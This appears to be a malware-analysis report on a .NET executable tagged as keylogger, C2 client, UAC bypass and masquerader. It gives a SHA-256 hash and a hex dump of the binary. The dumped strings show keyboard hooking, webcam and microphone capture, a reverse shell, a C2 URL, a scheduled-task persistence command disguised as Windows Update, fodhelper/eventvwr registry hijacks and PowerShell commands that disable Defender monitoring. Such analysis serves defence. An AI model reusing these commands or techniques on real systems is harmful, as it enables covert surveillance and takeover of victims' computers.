xoilaczzzk.cc_new.exe
Keylogger, C2, UAC bypass, masquerade
.NET hook keylogger stages and transmits captured keysfodhelper DelegateExecute hijack
SHA-2560a808276c281c86d967e71652e3a3dd14961f47407600318458674e3f784dcfb
Evidence
0x20800070282d00000a0b077e1b000004284b.p(-.....~....(K
0x209000000a00077e1c000004282000000a00.....~....( ....
0x20a0007e1d00000413041613052b1b110411.~.........+....
0x20b005940c000815fe0116fe010d092d022b.............-.+
0x20c01300110517581305110511048e69fe04.....X.......i..
0x20d00d092dd907283200000a0000de052600..-..(2.......&.
0x20e000de0000002a00000110000000007b00.....*........{.
0x20f067e20005010000011e02282600000a2ag.........(&...*
0x210042534a4201000100000000000c000000BSJB............
0x211076342e302e3330333139000000000500v4.0.30319......
0x21206c00000034100000237e0000a0100000l...4...#~......
0x21305c13000023537472696e677300000000\...#Strings....
0x2140fc230000141100002355530010350000.#......#US..5..
0x215010000000234755494400000020350000....#GUID... 5..
0x21606405000023426c6f6200000000000000d...#Blob.......
0x217002000001579fa2350902000000fa2533....W..5......%3
0x21800016000001000000510000000d000000........Q.......
0x219027000000470000004a00000004000000'...G...J.......
0x21a09e0000000e0000001b00000001000000................
0x21b015000000050000000500000005000000................
0x21c005000000180000000100000001000000................
0x21d0050000000400000000000a0001000000................
0x21e000000600af00a8000600b600a8000600................
0x21f04e01420106001402a80006002102a800N.B.........!...
0x220006004703 ..G.
0x31ff6f630057656263616d4d6f64756c6500oc.WebcamModule.
0x320f4d6963726f70686f6e654d6f64756c65MicrophoneModule
0x321f0050617373776f72645265636f766572.PasswordRecover
0x322f794d6f64756c650050726f6772616d00yModule.Program.
0x323f6d73636f726c69620053797374656d00mscorlib.System.
0x324f4f626a656374004d756c746963617374Object.Multicast
0x325f44656c65676174650043325f504f5254Delegate.C2_PORT
0x326f00524556455253455f5348454c4c5f50.REVERSE_SHELL_P
0x327f4f52540043325f444f4d41494e00584fORT.C2_DOMAIN.XO
0x328f525f4b4559002e6363746f7200476574R_KEY..cctor.Get
0x329f586f724b6579006765745f4e616d6500XorKey.get_Name.
0x32af5374617274004e616d650057485f4b45Start.Name.WH_KE
0x32bf59424f4152445f4c4c00574d5f4b4559YBOARD_LL.WM_KEY
0x32cf444f574e005f70726f63005f686f6f6bDOWN._proc._hook
0x32df49440053797374656d2e546578740053ID.System.Text.S
0x32ef7472696e674275696c646572005f6275tringBuilder._bu
0x32ff66666572005f61637469766557696e64ffer._activeWind
0x330f6f77005f6c6f636b0053657457696e64ow._lock.SetWind
0x331f6f7773486f6f6b457800556e686f6f6bowsHookEx.Unhook
0x332f57696e646f7773486f6f6b4578004361WindowsHookEx.Ca
0x333f6c6c4e657874486f6f6b457800476574llNextHookEx.Get
0x334f4d6f64756c6548616e646c6500476574ModuleHandle.Get
0x335f466f726567726f756e6457696e646f77ForegroundWindow
0x336f0047657457696e646f77546578740055.GetWindowText.U
0x337f706461746541637469766557696e646fpdateActiveWindo
0x338f7700486f6f6b43616c6c6261636b0053w.HookCallback.S
0x339f656e644c6f6f70002e63746f7200496eendLoop..ctor.In
0x33af766f6b6500494173796e63526573756cvoke.IAsyncResul
0x33bf74004173796e6343616c6c6261636b00t.AsyncCallback.
0x33cf426567696e496e766f6b6500456e6449BeginInvoke.EndI
0x33df6e766f6b6500574d5f4341505f445249nvoke.WM_CAP_DRI
0x33ef5645525f434f4e4e45435400574d5f43VER_CONNECT.WM_C
0x33ff41505f53415645444942006361704372AP_SAVEDIB.capCr
0x340f656174654361707475726557696e646feateCaptureWindo
0x341f77410053656e644d6573736167650044wA.SendMessage.D
0x342f657374726f7957696e646f7700776176estroyWindow.wav
0x343f65496e4765744e756d44657673005052eInGetNumDevs.PR
0x344f4f434553535f4352454154455f544852OCESS_CREATE_THR
0x345f4541440050524f434553535f51554552EAD.PROCESS_QUER
0x346f595f494e464f524d4154494f4e005052Y_INFORMATION.PR
0x347f4f434553535f564d5f4f504552415449OCESS_VM_OPERATI
0x348f4f4e0050524f434553535f564d5f5752ON.PROCESS_VM_WR
0x349f4954450050524f434553535f564d5f52ITE.PROCESS_VM_R
0x34af454144004d454d5f434f4d4d4954004dEAD.MEM_COMMIT.M
0x34bf454d5f5245534552564500504147455fEM_RESERVE.PAGE_
0x34cf455845435554455f5245414457524954EXECUTE_READWRIT
0x34df45004d555445580052616e646f6d005fE.MUTEX.Random._
0x34ef726e640053686f7757696e646f770047rnd.ShowWindow.G
0x436154657874577269746572005772697465TextWriter.Write
0x43714c696e6500526561644c696e65006765Line.ReadLine.ge
0x4381745f5374616e64617264496e70757400t_StandardInput.
0x439153797374656d2e4e65742e536f636b65System.Net.Socke
0x43a1747300546370436c69656e74004e6574ts.TcpClient.Net
0x43b1776f726b53747265616d004765745374workStream.GetSt
0x43c17265616d007365745f4175746f466c75ream.set_AutoFlu
0x43d17368007365745f526564697265637453sh.set_RedirectS
0x43e174616e64617264496e70757400436c6ftandardInput.Clo
0x43f17365003c5374617274436f6d6d616e64se.<StartCommand
0x44014578656375746f723e625f5f31300043Executor>b__10.C
0x441153243c3e395f5f436163686564416e6fS$<>9__CachedAno
0x44216e796d6f75734d6574686f6444656c65nymousMethodDele
0x44316761746531310053797374656d2e4e65gate11.System.Ne
0x444174005765625265717565737400437265t.WebRequest.Cre
0x445161746500487474705765625265717565ate.HttpWebReque
0x44617374007365745f4d6574686f64007365st.set_Method.se
0x4471745f54696d656f757400576562526573t_Timeout.WebRes
0x4481706f6e736500476574526573706f6e73ponse.GetRespons
0x4491650048747470576562526573706f6e73e.HttpWebRespons
0x44a16500476574526573706f6e7365537472e.GetResponseStr
0x44b165616d00537461727473576974680053eam.StartsWith.S
0x44c17562737472696e670055726900457363ubstring.Uri.Esc
0x44d161706544617461537472696e67007365apeDataString.se
0x44e1745f557365724167656e74006765745ft_UserAgent.get_
0x44f14e65774c696e65000000000029680074NewLine.....)h.t
0x450100740070003a002f002f0078006f0069.t.p.:././.x.o.i
0x4511006c00610063007a007a007a006b002e.l.a.c.z.z.z.k..
0x4521006300630000134b00650079006c006f.c.c...K.e.y.l.o
0x453100670067006500720000175b00480048.g.g.e.r...[.H.H
0x4541003a006d006d003a00730073005d0020.:.m.m.:.s.s.].
0x455100000720003a00200000050d000a0000... .:. ........
0x45614f43003a005c00500072006f00670072OC.:.\.P.r.o.g.r
0x45710061006d0044006100740061005c0057.a.m.D.a.t.a.\.W
0x45810069006e0064006f0077007300550070.i.n.d.o.w.s.U.p
0x45910064006100740065005c006b00650079.d.a.t.e.\.k.e.y
0x45a1006c006f0067002e0074007800740000.l.o.g...t.x.t..
0x45b10f4b00450059004c004f0047003a0000.K.E.Y.L.O.G.:..
0x45c101000d570065006200630061006d0000...W.e.b.c.a.m..
0x45d10f770065006200630061006d005f0000.w.e.b.c.a.m._..
0x45e1092e0062006d007000000f5700450042...b.m.p...W.E.B
0x45f100430041004d003a0000154d00690063.C.A.M.:...M.i.c
0x46010072006f00700068006f006e00650000.r.o.p.h.o.n.e..
0x4611096d00690063005f0000092e00770061.m.i.c._.....w.a
0x4621007600001d70006f0077006500720073.v...p.o.w.e.r.s
0x463100680065006c006c002e006500780065.h.e.l.l...e.x.e
0x46410000819d2d0043006f006d006d006100....-.C.o.m.m.a.
0x46516e006400200022004100640064002d00n.d. .".A.d.d.-.
0x4d3a6100720065005c004e0061006e006f00a.r.e.\.N.a.n.o.
0x4d4a43006f0072006500000f560065007200C.o.r.e...V.e.r.
0x4d5a730069006f006e00000b31002e003200s.i.o.n...1...2.
0x4d6a2e003000001749006e00730074006100..0...I.n.s.t.a.
0x4d7a6c006c00440061007400650000117300l.l.D.a.t.e...s.
0x4d8a630068007400610073006b0073000055c.h.t.a.s.k.s..U
0x4d9a2f006300720065006100740065002000/.c.r.e.a.t.e. .
0x4daa2f0074006e00200022004d0069006300/.t.n. .".M.i.c.
0x4dba72006f0073006f006600740057006900r.o.s.o.f.t.W.i.
0x4dca6e0064006f0077007300550070006400n.d.o.w.s.U.p.d.
0x4dda610074006500220020002f0074007200a.t.e.". ./.t.r.
0x4dea200022000021220020002f0073006300 ."..!". ./.s.c.
0x4dfa20006f006e006c006f0067006f006e00 .o.n.l.o.g.o.n.
0x4e0a20002f00660000615300590053005400 ./.f..aS.Y.S.T.
0x4e1a45004d005c0043007500720072006500E.M.\.C.u.r.r.e.
0x4e2a6e00740043006f006e00740072006f00n.t.C.o.n.t.r.o.
0x4e3a6c005300650074005c0043006f006e00l.S.e.t.\.C.o.n.
0x4e4a740072006f006c005c00530065007300t.r.o.l.\.S.e.s.
0x4e5a730069006f006e0020004d0061006e00s.i.o.n. .M.a.n.
0x4e6a6100670065007200001742006f006f00a.g.e.r...B.o.o.
0x4e7a74004500780065006300750074006500t.E.x.e.c.u.t.e.
0x4e8a00030a00001363006d00730074007000......c.m.s.t.p.
0x4e9a2e0065007800650000092f0061007500..e.x.e.../.a.u.
0x4eaa200000196500760065006e0074007600 ...e.v.e.n.t.v.
0x4eba770072002e0065007800650000808348w.r...e.x.e....H
0x4eca004b00450059005f0043005500520052.K.E.Y._.C.U.R.R
0x4eda0045004e0054005f0055005300450052.E.N.T._.U.S.E.R
0x4eea005c0053006f00660074007700610072.\.S.o.f.t.w.a.r
0x4efa0065005c0043006c0061007300730065.e.\.C.l.a.s.s.e
0x4f0a0073005c006d0073002d007300650074.s.\.m.s.-.s.e.t
0x4f1a00740069006e00670073005c00730068.t.i.n.g.s.\.s.h
0x4f2a0065006c006c005c006f00700065006e.e.l.l.\.o.p.e.n
0x4f3a005c0063006f006d006d0061006e0064.\.c.o.m.m.a.n.d
0x4f4a00011f440065006c0065006700610074...D.e.l.e.g.a.t
0x4f5a00650045007800650063007500740065.e.E.x.e.c.u.t.e
0x4f6a00001b66006f006400680065006c0070...f.o.d.h.e.l.p
0x4f7a00650072002e0065007800650000813d.e.r...e.x.e...=
0x4f8a2d0043006f006d006d0061006e006400-.C.o.m.m.a.n.d.
0x4f9a200022005300650074002d004d007000 .".S.e.t.-.M.p.
0x4faa50007200650066006500720065006e00P.r.e.f.e.r.e.n.
0x4fba6300650020002d004400690073006100c.e. .-.D.i.s.a.
0x4fca62006c0065005200650061006c007400b.l.e.R.e.a.l.t.
0x4fda69006d0065004d006f006e0069007400i.m.e.M.o.n.i.t.
0x4fea6f00720069006e006700200024007400o.r.i.n.g. .$.t.
0x4ffa7200750065003b002000530065007400r.u.e.;. .S.e.t.
0x500a2d004d00700050007200650066006500-.M.p.P.r.e.f.e.
0x501a720065006e006300650020002d004400r.e.n.c.e. .-.D.
0x502a69007300610062006c00650049004f00i.s.a.b.l.e.I.O.
⋯6 more rows
0x5dc2630061006c0020005500700064006100c.a.l. .U.p.d.a.
0x5dd27400650000004c001600010043006f00t.e...L.....C.o.
0x5de26d00700061006e0079004e0061006d00m.p.a.n.y.N.a.m.
0x5df26500000000004d006900630072006f00e.....M.i.c.r.o.
0x5e0273006f0066007400200043006f007200s.o.f.t. .C.o.r.
0x5e1270006f0072006100740069006f006e00p.o.r.a.t.i.o.n.
0x5e2200006c0021000100460069006c006500..l.!...F.i.l.e.
0x5e3244006500730063007200690070007400D.e.s.c.r.i.p.t.
0x5e4269006f006e00000000004d0069006300i.o.n.....M.i.c.
⋯3 more rows
0x5e8272007600690063006500000000004000r.v.i.c.e.....@.
0x5e9210000100460069006c00650056006500....F.i.l.e.V.e.
0x5ea27200730069006f006e00000000003100r.s.i.o.n.....1.
0x5eb230002e0030002e0031003900300034000...0...1.9.0.4.
0x5ec231002e00310032003000320000004c001...1.2.0.2...L.
0x5ed21600010049006e007400650072006e00....I.n.t.e.r.n.
0x5ee261006c004e0061006d00650000007800a.l.N.a.m.e...x.
⋯8 more rows